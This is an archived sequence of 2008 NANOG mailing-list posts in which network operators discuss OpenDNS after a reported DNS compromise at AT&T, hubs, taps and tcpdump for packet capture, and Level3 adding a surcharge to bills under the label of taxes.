gmail.com (Suresh Ramasubramanian) Date: Thu, 31 Jul 2008 09:19:12 +0530 Subject: [funsec] Subject line misleading. AT&T Pwned. Sweet Irony: Metasploit Creator a Victim of His Own Creation (fwd) In-Reply-To: References: Message-ID: On Thu, Jul 31, 2008 at 1:22 AM, Gadi Evron wrote: > I guess history decided the previous discussion in favor of vix. Although I > doubt vix sees this compromise at ATT as a victory, but rather a loss. > > Note: HD has not been compromised. Well so if any of you uses an iphone to surf the net now's the time to see if an iphone's nameservers can be changed to opendns :) From hannigan at gmail.com Wed Jul 30 23:12:38 2008 From: hannigan at gmail.com (Martin Hannigan) Date: Thu, 31 Jul 2008 00:12:38 -0400 Subject: [funsec] Subject line misleading. AT&T Pwned. Sweet Irony: Metasploit Creator a Victim of His Own Creation (fwd) In-Reply-To: References: Message-ID: <2d106eb50807302112h69af707boe3f32c6b81e5a32c@mail.gmail.com> Not so quick. Privacy policy? -M< On 7/30/08, Suresh Ramasubramanian wrote: > On Thu, Jul 31, 2008 at 1:22 AM, Gadi Evron wrote: >> I guess history decided the previous discussion in favor of vix. Although >> I >> doubt vix sees this compromise at ATT as a victory, but rather a loss. >> >> Note: HD has not been compromised. > > Well so if any of you uses an iphone to surf the net now's the time to > see if an iphone's nameservers can be changed to opendns :) > > -- Sent from Gmail for mobile | mobile.google.com From tomb at byrneit.net Wed Jul 30 23:18:43 2008 From: tomb at byrneit.net (Tomas L. Byrnes) Date: Wed, 30 Jul 2008 21:18:43 -0700 Subject: [funsec] Subject line misleading. AT&T Pwned. Sweet Irony:Metasploit Creator a Victim of His Own Creation (fwd) In-Reply-To: <2d106eb50807302112h69af707boe3f32c6b81e5a32c@mail.gmail.com> References: <2d106eb50807302112h69af707boe3f32c6b81e5a32c@mail.gmail.com> Message-ID: <70D072392E56884193E3D2DE09C097A9F3EC@pascal.zaphodb.org> Between a potential problem with privacy, and an actual problem with having my sessions redirected to the RBN, I'll take the privacy risk. YMMV. > -----Original Message----- > From: Martin Hannigan [mailto:hannigan at gmail.com] > Sent: Wednesday, July 30, 2008 9:13 PM > To: Suresh Ramasubramanian; Gadi Evron; nanog at nanog.org > Subject: Re: [funsec] Subject line misleading. AT&T Pwned. > Sweet Irony:Metasploit Creator a Victim of His Own Creation (fwd) > > Not so quick. Privacy policy? > > -M< > > > > > > On 7/30/08, Suresh Ramasubramanian wrote: > > On Thu, Jul 31, 2008 at 1:22 AM, Gadi Evron wrote: > >> I guess history decided the previous discussion in favor of vix. > >> Although I doubt vix sees this compromise at ATT as a victory, but > >> rather a loss. > >> > >> Note: HD has not been compromised. > > > > Well so if any of you uses an iphone to surf the net now's > the time to > > see if an iphone's nameservers can be changed to opendns :) > > > > > > -- > Sent from Gmail for mobile | mobile.google.com > > From ge at linuxbox.org Wed Jul 30 23:23:01 2008 From: ge at linuxbox.org (Gadi Evron) Date: Wed, 30 Jul 2008 23:23:01 -0500 (CDT) Subject: [funsec] Subject line misleading. AT&T Pwned. Sweet Irony:Metasploit Creator a Victim of His Own Creation (fwd) In-Reply-To: <70D072392E56884193E3D2DE09C097A9F3EC@pascal.zaphodb.org> References: <2d106eb50807302112h69af707boe3f32c6b81e5a32c@mail.gmail.com> <70D072392E56884193E3D2DE09C097A9F3EC@pascal.zaphodb.org> Message-ID: On Wed, 30 Jul 2008, Tomas L. Byrnes wrote: > Between a potential problem with privacy, and an actual problem with > having my sessions redirected to the RBN, I'll take the privacy risk. > > YMMV. Depends on your priorities--and that of whoever owns the phone. You, or your employer. Gadi. > > >> -----Original Message----- >> From: Martin Hannigan [mailto:hannigan at gmail.com] >> Sent: Wednesday, July 30, 2008 9:13 PM >> To: Suresh Ramasubramanian; Gadi Evron; nanog at nanog.org >> Subject: Re: [funsec] Subject line misleading. AT&T Pwned. >> Sweet Irony:Metasploit Creator a Victim of His Own Creation (fwd) >> >> Not so quick. Privacy policy? >> >> -M< >> >> >> >> >> >> On 7/30/08, Suresh Ramasubramanian wrote: >>> On Thu, Jul 31, 2008 at 1:22 AM, Gadi Evron wrote: >>>> I guess history decided the previous discussion in favor of vix. >>>> Although I doubt vix sees this compromise at ATT as a victory, but >>>> rather a loss. >>>> >>>> Note: HD has not been compromised. >>> >>> Well so if any of you uses an iphone to surf the net now's >> the time to >>> see if an iphone's nameservers can be changed to opendns :) >>> >>> >> >> -- >> Sent from Gmail for mobile | mobile.google.com >> >> > From Skywing at valhallalegends.com Wed Jul 30 23:25:18 2008 From: Skywing at valhallalegends.com (Skywing) Date: Wed, 30 Jul 2008 23:25:18 -0500 Subject: [funsec] Subject line misleading. AT&T Pwned. Sweet Irony: Metasploit Creator a Victim of His Own Creation (fwd) In-Reply-To: <2d106eb50807302112h69af707boe3f32c6b81e5a32c@mail.gmail.com> References: <2d106eb50807302112h69af707boe3f32c6b81e5a32c@mail.gmail.com> Message-ID: <982D8D05B6407A49AD506E6C3AC8E7D66150B24CD1@caralain.haven.nynaeve.net> If you don't mind OpenDNS proxying all your Google searches, sure. < http://blog.metasploit.com/2008/07/on-dns-attacks-in-wild-and-journalistic.html > Personally, I would never use OpenDNS. Tactics like that are not particularly acceptable in my book, well-meaning or not. Not, however, trying to start a political debate - but OpenDNS does do a bit more than just act as a plain DNS resolver for you, and you should make that aware to anyone who uses it. - S -----Original Message----- From: Martin Hannigan [mailto:hannigan at gmail.com] Sent: Thursday, July 31, 2008 12:13 AM To: Suresh Ramasubramanian; Gadi Evron; nanog at nanog.org Subject: Re: [funsec] Subject line misleading. AT&T Pwned. Sweet Irony: Metasploit Creator a Victim of His Own Creation (fwd) Not so quick. Privacy policy? -M< On 7/30/08, Suresh Ramasubramanian wrote: > On Thu, Jul 31, 2008 at 1:22 AM, Gadi Evron wrote: >> I guess history decided the previous discussion in favor of vix. Although >> I >> doubt vix sees this compromise at ATT as a victory, but rather a loss. >> >> Note: HD has not been compromised. > > Well so if any of you uses an iphone to surf the net now's the time to > see if an iphone's nameservers can be changed to opendns :) > > -- Sent from Gmail for mobile | mobile.google.com From ops.lists at gmail.com Wed Jul 30 23:28:44 2008 From: ops.lists at gmail.com (Suresh Ramasubramanian) Date: Thu, 31 Jul 2008 09:58:44 +0530 Subject: [funsec] Subject line misleading. AT&T Pwned. Sweet Irony: Metasploit Creator a Victim of His Own Creation (fwd) In-Reply-To: <982D8D05B6407A49AD506E6C3AC8E7D66150B24CD1@caralain.haven.nynaeve.net> References: <2d106eb50807302112h69af707boe3f32c6b81e5a32c@mail.gmail.com> <982D8D05B6407A49AD506E6C3AC8E7D66150B24CD1@caralain.haven.nynaeve.net> Message-ID: I can point it to a colo'd resolver I have elsewhere - but opendns is rather more redundant. Yes I know what else it does re advertising and such, but I dont do any sensitive work related stuff through those resolvers anyway. On Thu, Jul 31, 2008 at 9:55 AM, Skywing wrote: > If you don't mind OpenDNS proxying all your Google searches, sure. < http://blog.metasploit.com/2008/07/on-dns-attacks-in-wild-and-journalistic.html > > > Personally, I would never use OpenDNS. Tactics like that are not particularly acceptable in my book, well-meaning or not. Not, however, trying to start a political debate - but OpenDNS does do a bit more than just act as a plain DNS resolver for you, and you should make that aware to anyone who uses it. > From ljb at merit.edu Thu Jul 31 00:50:23 2008 From: ljb at merit.edu (Larry J. Blunk) Date: Thu, 31 Jul 2008 01:50:23 -0400 Subject: Hardware capture platforms In-Reply-To: <7280DF7C-8677-4552-8B27-1F695CBFFA33@kumari.net> References: <20080729155511.R42026@iama.hypergeek.net><75cb24520807291712r5 0167c9ap3a444d7b4792c7e3@mail.gmail.com> <221481660807291926y225766a3k136860c555d964c@mail.gmail.com> <56F5BC5F404CF84896C447397A1AAF207AF0BC@MAIL.nosi.netos.com> <7280DF7C-8677-4552-8B27-1F695CBFFA33@kumari.net> Message-ID: <4891529F.80302@merit.edu> Warren Kumari wrote: > > On Jul 29, 2008, at 10:43 PM, Darryl Dunkin wrote: > >> Hubs sure are fun... >> > > This might be a stupid question, but where can one get small hubs > these days? All of the common commodity (eg: 4 port Netgear) "hubs" > these days are actually switches. > > What I am looking for is: > Small enough to live in my notebook bag (e.g.: 4 port with a wall wart.) > Cheap > Simple > 10/100/1000Mbps > > While a tap would work, I'd prefer a hub because I can then use it to > connect machines together in a pinch. D-Link sells a smallish 8-port managed Gigabit switch that allows you to disable learning on the ports -- DGS-3200-10 -- http://www.dlink.com/products/?sec=0&pid=674 I don't know where they hide the manuals on the D-Link US site, but Google turned them up on their Russian ftp server ?? While not incredibly cheap, it seems reasonable at about $300. As a bonus, it seems to have pretty complete IPv6 support. We wanted to do something similar with a 10G switch (SMC8708L2). It let's you set the size of the MAC table, but not to zero. However, we found that setting the size of the table to 1 entry effectively disabled learning. > > W > --- > > In the past I have bought some cheap 4 port commodity switches (form > Circuit City or somewhere similar), found the datasheet for the > chipset (it was a Broadcom something or other) and tied the pin to > ground that disables the learning mode (actually, I think that the pin > just set the size of the learning table to be 0 entries). While this > works, doing it once was more than enough :-) > Nice hack! From sam_mailinglists at spacething.org Thu Jul 31 03:53:10 2008 From: sam_mailinglists at spacething.org (Sam Stickland) Date: Thu, 31 Jul 2008 09:53:10 +0100 Subject: Hardware capture platforms In-Reply-To: <4890B850.4080600@deaddrop.org> References: <20080729155511.R42026@iama.hypergeek.net><75cb24520807291712r5 0167c9ap3a444d7b4792c7e3@mail.gmail.com> <221481660807291926y225766a3k136860c555d964c@mail.gmail.com> <56F5BC5F404CF84896C447397A1AAF207AF0BC@MAIL.nosi.netos.com> <7280DF7C-8677-4552-8B27-1F695CBFFA33@kumari.net> <4890B850.4080600@deaddrop.org> Message-ID: <48917D76.7070208@spacething.org> Lynda wrote: > Warren Kumari wrote: > >> What I am looking for is: Small enough to live in my notebook bag >> (e.g.: 4 port with a wall wart.) Cheap Simple 10/100/1000Mbps > > I don't believe that such a thing ever existed. Hubs that did 10/100, > certainly, but I've never ever seen a hub that did gig speeds. > Depends what you mean by 'hub' I guess. I thought the term referred to a device that was half-duplex only, and had no address learning. GE has never supported half-duplex. Sam From joelja at bogus.com Thu Jul 31 04:04:23 2008 From: joelja at bogus.com (Joel Jaeggli) Date: Thu, 31 Jul 2008 02:04:23 -0700 Subject: Hardware capture platforms In-Reply-To: <7280DF7C-8677-4552-8B27-1F695CBFFA33@kumari.net> References: <20080729155511.R42026@iama.hypergeek.net><75cb24520807291712r5 0167c9ap3a444d7b4792c7e3@mail.gmail.com> <221481660807291926y225766a3k136860c555d964c@mail.gmail.com> <56F5BC5F404CF84896C447397A1AAF207AF0BC@MAIL.nosi.netos.com> <7280DF7C-8677-4552-8B27-1F695CBFFA33@kumari.net> Message-ID: <48918017.7060201@bogus.com> Warren Kumari wrote: > > On Jul 29, 2008, at 10:43 PM, Darryl Dunkin wrote: > >> Hubs sure are fun... >> > > This might be a stupid question, but where can one get small hubs these > days? All of the common commodity (eg: 4 port Netgear) "hubs" these > days are actually switches. > > What I am looking for is: > Small enough to live in my notebook bag (e.g.: 4 port with a wall wart.) > Cheap > Simple > 10/100/1000Mbps You won't find the gig-e hub out there for sale despite some ieee 802.3 participants staunch defense of 1/2 duplex gig-e support and the resulting complications that caused/s... Perversely when traveling I actually use the Ethernet ports on my soekris configured as a bridge for this application. A device with 4 Ethernet ports plus a wifi radio which can be configured as bridges, routed, nated etc if that's what's desired. the soekris is not gig-e capable and it's forwarding capacity is a bit closer to the low hundreds of megs, but it travels in my bag, has disk, wifi etc. MSI industrial makes a mini-itx mainboard that will take an intel core2 has 3 embedded gig-e ports and a 16x pci-e slot that you can put a multiport gig or 2 x 10Gbe interface in... I have a utility 10" deep rackmount that I drag around with that in it when I need more power than the soekris can deliver... http://www.logicsupply.com/products/ms_9642 > While a tap would work, I'd prefer a hub because I can then use it to > connect machines together in a pinch. > > W > --- > > In the past I have bought some cheap 4 port commodity switches (form > Circuit City or somewhere similar), found the datasheet for the chipset > (it was a Broadcom something or other) and tied the pin to ground that > disables the learning mode (actually, I think that the pin just set the > size of the learning table to be 0 entries). While this works, doing it > once was more than enough :-) > >> I would trunk the ports you are monitoring, and run the port monitor on >> the trunk port instead (one trunk port, one port per VLAN, plus one >> span) which will help with your density. This is assuming the analysis >> software you have can read the dot1q tags, but means you do not need to >> burn two ports per monitor. >> >> -----Original Message----- >> From: James Pleger [mailto:jpleger at gmail.com] >> Sent: Tuesday, July 29, 2008 19:26 >> To: nanog at merit.edu >> Subject: Re: Hardware capture platforms >> >> There are several things that you can do with open source solutions, >> however looking at the data may be a bit more difficult than something >> like Network Generals or Solera Networks capture appliances. It is >> still doable and is definitely much much cheaper... >> >> Something you might want to look into is traffic aggregation with a >> switch or hub. You can buy an Allied Telesyn switch and basically turn >> it into a hub by disabling switchport learning. Just an idea. >> >> You can use regular old tcpdump with the -C option to rotate logs >> >> tcpdump -i blah -s0 -C , etc. >> >> or you can use Daemonlogger which does pretty much the same thing... >> >> http://www.snort.org/users/roesch/Site/Daemonlogger/Daemonlogger.html >> >> >> On Tue, Jul 29, 2008 at 6:45 PM, Network Fortius >> wrote: >>> Richard's blog @ http://taosecurity.blogspot.com/search?q=taps and >>> especially his books (Tao of Network Security Monitoring and Extrusion >>> Detection) are the best sources I have ever found, concerning [not >> only] >>> taps and[/but] so much more on the subject - proper usage and best >>> methodologies and practices for network monitoring (and not only for >>> security!!!) >>> >>> >>> Stefan >>> >>> On Tue, Jul 29, 2008 at 7:12 PM, Christopher Morrow >> >>> wrote: >>> >>>> On Wed, Jul 30, 2008 at 12:35 AM, Jared Mauch >>>> wrote: >>>>> Check out packet forensics depending on what your ultimate >> requirements >>>> are. >>>>> >>>> >>>> I would also add a 'see packet forensics'... >>>> >>>>> On Jul 29, 2008, at 7:10 PM, "John A. Kilpatrick" >> >>>>> wrote: >>>>> >>>>>> >>>>>> We've deployed a bunch taps in our network and now we need a >> platform on >>>>>> which to capture the data. Our bandwidth is currently pretty low >> but >>>> I've >>>>>> got 8 links to tap, which means I need 16 ports. Has anyone done >> any >>>>>> research on doing accurate packet capture with commodity hardware? >>>>>> >>>>>> >>>>>> -- >>>>>> John A. Kilpatrick >>>>>> john at hypergeek.net Email| >> http://www.hypergeek.net/ >>>>>> john-page at hypergeek.net Text pages| ICQ: 19147504 >>>>>> remember: no obstacles/only challenges >>>>>> >>>>>> >>>>> >>>>> >>>> >>>> >>> >> >> > > -- > "Build a man a fire, and he'll be warm for a day. Set a man on fire, and > he'll be warm for the rest of his life." -- Terry Pratchett > > > From juuso.lehtinen at gmail.com Thu Jul 31 08:16:02 2008 From: juuso.lehtinen at gmail.com (Juuso Lehtinen) Date: Thu, 31 Jul 2008 16:16:02 +0300 Subject: Hardware capture platforms In-Reply-To: <82FF05AB-185F-452A-A41D-CEB399F5F302@rm-rf.co.uk> References: <20080729155511.R42026@iama.hypergeek.net> <75cb24520807291712r50167c9ap3a444d7b4792c7e3@mail.gmail.com> <221481660807291926y225766a3k136860c555d964c@mail.gmail.com> <82FF05AB-185F-452A-A41D-CEB399F5F302@rm-rf.co.uk> Message-ID: Second that. Using hub to tap into a single link is also risky. I used to monitor single FE link with 100M hub. After link had moderate utilization >20%, collision led was lit all the time. I've had good experience with VSS Monitoring Ethernet Aggregator taps. Also Catalyst 2960 SPAN seems to work OK. As for capture PC, we've been using regular PC with Wireshark. That's good for single FE link, but has problem with GE and multiple links. BR, Juuso On Wed, Jul 30, 2008 at 4:26 PM, Leon Ward wrote: > > On 30 Jul 2008, at 03:26, James Pleger wrote: > >> >> Something you might want to look into is traffic aggregation with a >> switch or hub. You can buy an Allied Telesyn switch and basically turn >> it into a hub by disabling switchport learning. Just an idea. >> > > Never try to aggregate multiple TAPs with a hub. > You will just create a bucket load of collisions and end up with a useless > data feed presented to your monitoring tool. If you want to aggregate > multiple TAP feeds into a smaller number of devices(s), most of the TAP > vendors make some form of link aggregation device. > > Or, depending on the OS and sniffer you use, you may be able to bond the > interfaces on the capture device. > > -Leon > > > > >> You can use regular old tcpdump with the -C option to rotate logs >> >> tcpdump -i blah -s0 -C , etc. >> >> or you can use Daemonlogger which does pretty much the same thing... >> >> http://www.snort.org/users/roesch/Site/Daemonlogger/Daemonlogger.html >> > > > From brunner at nic-naa.net Thu Jul 31 09:31:03 2008 From: brunner at nic-naa.net (Eric Brunner-Williams) Date: Thu, 31 Jul 2008 10:31:03 -0400 Subject: [funsec] Subject line misleading. AT&T Pwned. Sweet Irony: Metasploit Creator a Victim of His Own Creation (fwd) In-Reply-To: <2d106eb50807302112h69af707boe3f32c6b81e5a32c@mail.gmail.com> References: <2d106eb50807302112h69af707boe3f32c6b81e5a32c@mail.gmail.com> Message-ID: <4891CCA7.6050700@nic-naa.net> oddly enough, i was chatting with a friend from the w3c while walking off-site to lunch from the dublin ietf about the life, and death, of the w3c's p3p project (i was a contributor, he works in a different area), and its possible re-animation. without meaning to (i assume) martin's made a landmark post -- one mentioning "privacy policy", on nanog. Martin Hannigan wrote: > Not so quick. Privacy policy? > > -M< > > > > > > On 7/30/08, Suresh Ramasubramanian wrote: > >> On Thu, Jul 31, 2008 at 1:22 AM, Gadi Evron wrote: >> >>> I guess history decided the previous discussion in favor of vix. Although >>> I >>> doubt vix sees this compromise at ATT as a victory, but rather a loss. >>> >>> Note: HD has not been compromised. >>> >> Well so if any of you uses an iphone to surf the net now's the time to >> see if an iphone's nameservers can be changed to opendns :) >> >> >> > > From seclists at rm-rf.co.uk Thu Jul 31 10:00:36 2008 From: seclists at rm-rf.co.uk (Leon Ward) Date: Thu, 31 Jul 2008 16:00:36 +0100 Subject: Hardware capture platforms In-Reply-To: References: <20080729155511.R42026@iama.hypergeek.net> <75cb24520807291712r50167c9ap3a444d7b4792c7e3@mail.gmail.com> <221481660807291926y225766a3k136860c555d964c@mail.gmail.com> <82FF05AB-185F-452A-A41D-CEB399F5F302@rm-rf.co.uk> Message-ID: <321A420C-B5BF-4D63-B4A9-F1C1B089046D@rm-rf.co.uk> On 31 Jul 2008, at 14:16, Juuso Lehtinen wrote: > Second that. > > Using hub to tap into a single link is also risky. I used to monitor > single FE link with 100M hub. After link had moderate utilization > >20%, collision led was lit all the time. > > I've had good experience with VSS Monitoring Ethernet Aggregator > taps. Also Catalyst 2960 SPAN seems to work OK. > > As for capture PC, we've been using regular PC with Wireshark. > That's good for single FE link, but has problem with GE and multiple > links. If you need to increase the speed of your capture tool, maybe this [1] link may be of use. It is an implementation of a libpcap that implements a shared memory ring buffer which can result in some capture performance gains. [1] http://public.lanl.gov/cpw/ -Leon > BR, > Juuso > > On Wed, Jul 30, 2008 at 4:26 PM, Leon Ward > wrote: > > On 30 Jul 2008, at 03:26, James Pleger wrote: > > Something you might want to look into is traffic aggregation with a > switch or hub. You can buy an Allied Telesyn switch and basically turn > it into a hub by disabling switchport learning. Just an idea. > > Never try to aggregate multiple TAPs with a hub. > You will just create a bucket load of collisions and end up with a > useless data feed presented to your monitoring tool. If you want to > aggregate multiple TAP feeds into a smaller number of devices(s), > most of the TAP vendors make some form of link aggregation device. > > Or, depending on the OS and sniffer you use, you may be able to bond > the interfaces on the capture device. > > -Leon > > > > > You can use regular old tcpdump with the -C option to rotate logs > > tcpdump -i blah -s0 -C , etc. > > or you can use Daemonlogger which does pretty much the same thing... > > http://www.snort.org/users/roesch/Site/Daemonlogger/Daemonlogger.html > > > From patrick at zill.net Thu Jul 31 10:46:42 2008 From: patrick at zill.net (Patrick Giagnocavo) Date: Thu, 31 Jul 2008 11:46:42 -0400 Subject: Level3 tries cell-phone style billing scam on customers Message-ID: <4891DE62.9000202@zill.net> Today I looked at my most recent bill from Level3. They are now assessing a 2.5% surcharge, which is listed as "Taxes" on the bandwidth bill I have. In the state of PA, telecoms services are explicitly not taxable. When you call Level3 billing, they admit in their recorded message it is not a tax at all, but a surcharge, and if you want to dispute it you are supposed to quote back their own contract terms to them via email (i.e. you cannot reach a human). I would expect this kind of scamminess from Verizon's cell-phone billing, but a contract is a contract and I can see no provision for arbitrarily tacking on fees, illegally labeling them as "taxes" and then putting the onus on you to prove that they can't charge you. Anyone else seeing this same behavior from Level3? (It seems that the larger a telecom company gets, the more they want to act like a scum-sucking ILEC.) --Patrick From patrick at zill.net Thu Jul 31 10:49:53 2008 From: patrick at zill.net (Patrick Giagnocavo) Date: Thu, 31 Jul 2008 11:49:53 -0400 Subject: https In-Reply-To: <63ac96a50807251452g5d90b59bgc4f0e9c4414c3850@mail.gmail.com> References: <200807232230.m6NMUehk023713@aurora.sol.net> <1216862821.7847.6.camel@luna.unix.geek.nz> <594F3023-022A-406A-950D-1E02945F1B21@ianai.net> <4888348C.3010806@ripe.net> <20080724040558.5b20e1c2@cs.columbia.edu> <935ead450807241656x3a28f229m943abca7fd307ca@mail.gmail.com> <63ac96a50807251452g5d90b59bgc4f0e9c4414c3850@mail.gmail.com> Message-ID: <4891DF21.1090107@zill.net> Matthew Petach wrote: > I'm sure when Gmail gets close to the same number of users > as Yahoo, they will discover how challenging and painful it is > to support that many simultaneous short-lived SSL connections. > It's much easier to support CPU intensive tasks like full-time > SSL when you have a small user base; as that user base > grows, the cost of providing that service continues to grow, > often outpacing the revenue benefit it brings. > You're aware that certain chips, such as the UltraSparc T1 and T2 chips, have on-board SSL acceleration functions that impose virtually zero penalty on SSL encryption (though I suppose that setup/teardown is handled by the main CPU)? --Patrick From eslerj at gmail.com Thu Jul 31 11:04:15 2008 From: eslerj at gmail.com (Joel Esler) Date: Thu, 31 Jul 2008 12:04:15 -0400 Subject: Level3 tries cell-phone style billing scam on customers In-Reply-To: <4891DE62.9000202@zill.net> References: <4891DE62.9000202@zill.net> Message-ID: <2377954F-95D2-418C-87EE-9862006C7383@gmail.com> At what point is regulation okay? J On Jul 31, 2008, at 11:46 AM, Patrick Giagnocavo wrote: > Today I looked at my most recent bill from Level3. > > They are now assessing a 2.5% surcharge, which is listed as "Taxes" > on the bandwidth bill I have. In the state of PA, telecoms services > are explicitly not taxable. > > When you call Level3 billing, they admit in their recorded message > it is not a tax at all, but a surcharge, and if you want to dispute > it you are supposed to quote back their own contract terms to them > via email (i.e. you cannot reach a human). > > I would expect this kind of scamminess from Verizon's cell-phone > billing, but a contract is a contract and I can see no provision for > arbitrarily tacking on fees, illegally labeling them as "taxes" and > then putting the onus on you to prove that they can't charge you. > > Anyone else seeing this same behavior from Level3? > > (It seems that the larger a telecom company gets, the more they want > to act like a scum-sucking ILEC.) > > --Patrick > -- Joel Esler ? http://blog.joelesler.net ? http://www.dearcupertino.com [m] From jra at baylink.com Thu Jul 31 11:31:36 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Thu, 31 Jul 2008 12:31:36 -0400 Subject: Hardware capture platforms In-Reply-To: <4890B72F.4070303@aset.com> References: <221481660807291926y225766a3k136860c555d964c@mail.gmail.com> <56F5BC5F404CF84896C447397A1AAF207AF0BC@MAIL.nosi.netos.com> <7280DF7C-8677-4552-8B27-1F695CBFFA33@kumari.net> <4890B72F.4070303@aset.com> Message-ID: <20080731163136.GK28903@cgi.jachomes.com> On Wed, Jul 30, 2008 at 02:47:11PM -0400, Jon Kibler wrote: > Hubs are still available that are REAL hubs. I got 4 netgears about a > year ago and they are still available. > > However, there is a problem with your specification: No hub (that I am > aware of) can do 1Gbps. All hubs are 10/100 AFAIK. And, note carefully: some "dual-speed hubs" are actually a 10BT hub and a 100BT hub *with a switch between them*. I forget which brand I caught this on, but it bit me a couple of years back. Which speed cable you plug in determines which hub you're talking to. Yes, it's weird. Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Josef Stalin) From lorell at hathcock.org Thu Jul 31 11:48:27 2008 From: lorell at hathcock.org (Lorell Hathcock) Date: Thu, 31 Jul 2008 11:48:27 -0500 Subject: Level3 tries cell-phone style billing scam on customers In-Reply-To: <4891DE62.9000202@zill.net> References: <4891DE62.9000202@zill.net> Message-ID: <006001c8f32d$41e58d60$c5b0a820$@org> I saw the same kinds of behavior from WorldCom years before their collapse. I was the technical manager at a small ISP in Houston and was presented with the WorldCom invoices and was shocked to find 20% per month in phony charges. 2.5% is a far cry from 20% but that 20% had to start somewhere. Lorell -----Original Message----- From: Patrick Giagnocavo [mailto:patrick at zill.net] Sent: Thursday, July 31, 2008 10:47 AM To: nanog at nanog.org Subject: Level3 tries cell-phone style billing scam on customers Today I looked at my most recent bill from Level3. They are now assessing a 2.5% surcharge, which is listed as "Taxes" on the bandwidth bill I have. In the state of PA, telecoms services are explicitly not taxable. When you call Level3 billing, they admit in their recorded message it is not a tax at all, but a surcharge, and if you want to dispute it you are supposed to quote back their own contract terms to them via email (i.e. you cannot reach a human). I would expect this kind of scamminess from Verizon's cell-phone billing, but a contract is a contract and I can see no provision for arbitrarily tacking on fees, illegally labeling them as "taxes" and then putting the onus on you to prove that they can't charge you. Anyone else seeing this same behavior from Level3? (It seems that the larger a telecom company gets, the more they want to act like a scum-sucking ILEC.) --Patrick From dhubbard at dino.hostasaurus.com Thu Jul 31 11:48:56 2008 From: dhubbard at dino.hostasaurus.com (David Hubbard) Date: Thu, 31 Jul 2008 12:48:56 -0400 Subject: Level3 tries cell-phone style billing scam on customers Message-ID: From: Patrick Giagnocavo [mailto:patrick at zill.net] > > Anyone else seeing this same behavior from Level3? > We're going on three months of trying to get billing issues resolved; and yes, no way to talk to a real person anymore, nor are there any sales reps left that have any interest in talking to their customers as far as I can tell. If it weren't for positive experiences with tech support, they would be Verizon. David From jeffrey.lyon at blacklotus.net Thu Jul 31 12:04:29 2008 From: jeffrey.lyon at blacklotus.net (Jeffrey Lyon) Date: Thu, 31 Jul 2008 13:04:29 -0400 Subject: Level3 tries cell-phone style billing scam on customers In-Reply-To: References: Message-ID: <16720fe00807311004u5a61db2emc1b38909727c6b2f@mail.gmail.com> Peer1 has a similar charge but actually labels it "LA Telecommunications Surcharge" or something to the effect. (David: Sorry for sending to you personally at first instead of to list). -- Jeffrey Lyon, President Level III Information Systems Technician jeffrey.lyon at blacklotus.net | http://www.blacklotus.net Black Lotus Communications of The IRC Company, Inc. Talk for 4h 45m from the U.S. to Latin America for $10.00: http://www.defensecalling.com On Thu, Jul 31, 2008 at 12:48 PM, David Hubbard wrote: > From: Patrick Giagnocavo [mailto:patrick at zill.net] >> >> Anyone else seeing this same behavior from Level3? >> > > We're going on three months of trying to get billing > issues resolved; and yes, no way to talk to a real > person anymore, nor are there any sales reps left > that have any interest in talking to their customers > as far as I can tell. If it weren't for positive > experiences with tech support, they would be Verizon. > > David > > From warren at kumari.net Thu Jul 31 12:04:20 2008 From: warren at kumari.net (Warren Kumari) Date: Thu, 31 Jul 2008 13:04:20 -0400 Subject: Hardware capture platforms In-Reply-To: <20080731163136.GK28903@cgi.jachomes.com> References: <221481660807291926y225766a3k136860c555d964c@mail.gmail.com> <56F5BC5F404CF84896C447397A1AAF207AF0BC@MAIL.nosi.netos.com> <7280DF7C-8677-4552-8B27-1F695CBFFA33@kumari.net> <4890B72F.4070303@aset.com> <20080731163136.GK28903@cgi.jachomes.com> Message-ID: On Jul 31, 2008, at 12:31 PM, Jay R. Ashworth wrote: > On Wed, Jul 30, 2008 at 02:47:11PM -0400, Jon Kibler wrote: >> Hubs are still available that are REAL hubs. I got 4 netgears about a >> year ago and they are still available. >> >> However, there is a problem with your specification: No hub (that I >> am >> aware of) can do 1Gbps. All hubs are 10/100 AFAIK. Ok, so I guess what I am speaking is not strictly a hub, it is a non- learning bridge (single collision domain per port, full duplex, etc). There used to be a bunch of devices sold like this -- there were a few really cheap chipsets (AFAIR, Vitesse SparX VSCsomething was one of them -- basically a standard switch chipset that they shaved a few cents off because there was no learning logic / memory) that many people used in cheap "hubs"... I still have some of these somewhere and will rip the lid off to figure out exactly what it was so I can get some more... >> > > And, note carefully: some "dual-speed hubs" are actually a 10BT hub > and > a 100BT hub *with a switch between them*. I forget which brand I > caught this on, but it bit me a couple of years back. > > Which speed cable you plug in determines which hub you're talking to. I see your weird hub story and raise you one: I went along to one of my wife's clients to help lug a printer up the stairs... We get it on the desk and I go to plug in the Ethernet port -- I follow some cables and find this small white switch jammed behind a photocopier -- I pull it out and it has, emblazoned in large red letters on the front, "10/100 Hub with Switch" -- this was back in the day when switches were still cool... I turn it around, and on the back there is... a switch, one side is marked "10M" and the other is marked "100M"... After I stopped laughing I tested it, and sure enough, its a standard hub, and you can make the ports either run at 10Mbps or 100Mbps by flipping the switch... I *really* wish I had replaced and kept it... W > > > Yes, it's weird. > > Cheers, > -- jra > -- > Jay R. Ashworth Baylink jra at baylink.com > Designer The Things I > Think RFC 2100 > Ashworth & Associates http:// > baylink.pitas.com '87 e24 > St Petersburg FL USA http://photo.imageinc.us +1 > 727 647 1274 > > Those who cast the vote decide nothing. > Those who count the vote decide everything. > -- (Josef Stalin) > -- Do not meddle in the affairs of wizards, for they are subtle and quick to anger. -- J.R.R. Tolkien From ge at linuxbox.org Thu Jul 31 12:31:03 2008 From: ge at linuxbox.org (Gadi Evron) Date: Thu, 31 Jul 2008 12:31:03 -0500 (CDT) Subject: Level3 tries cell-phone style billing scam on customers In-Reply-To: <4891DE62.9000202@zill.net> References: <4891DE62.9000202@zill.net> Message-ID: On Thu, 31 Jul 2008, Patrick Giagnocavo wrote: > Today I looked at my most recent bill from Level3. > > They are now assessing a 2.5% surcharge, which is listed as "Taxes" on the > bandwidth bill I have. In the state of PA, telecoms services are explicitly > not taxable. > > When you call Level3 billing, they admit in their recorded message it is not > a tax at all, but a surcharge, and if you want to dispute it you are supposed > to quote back their own contract terms to them via email (i.e. you cannot > reach a human). > > I would expect this kind of scamminess from Verizon's cell-phone billing, but > a contract is a contract and I can see no provision for arbitrarily tacking > on fees, illegally labeling them as 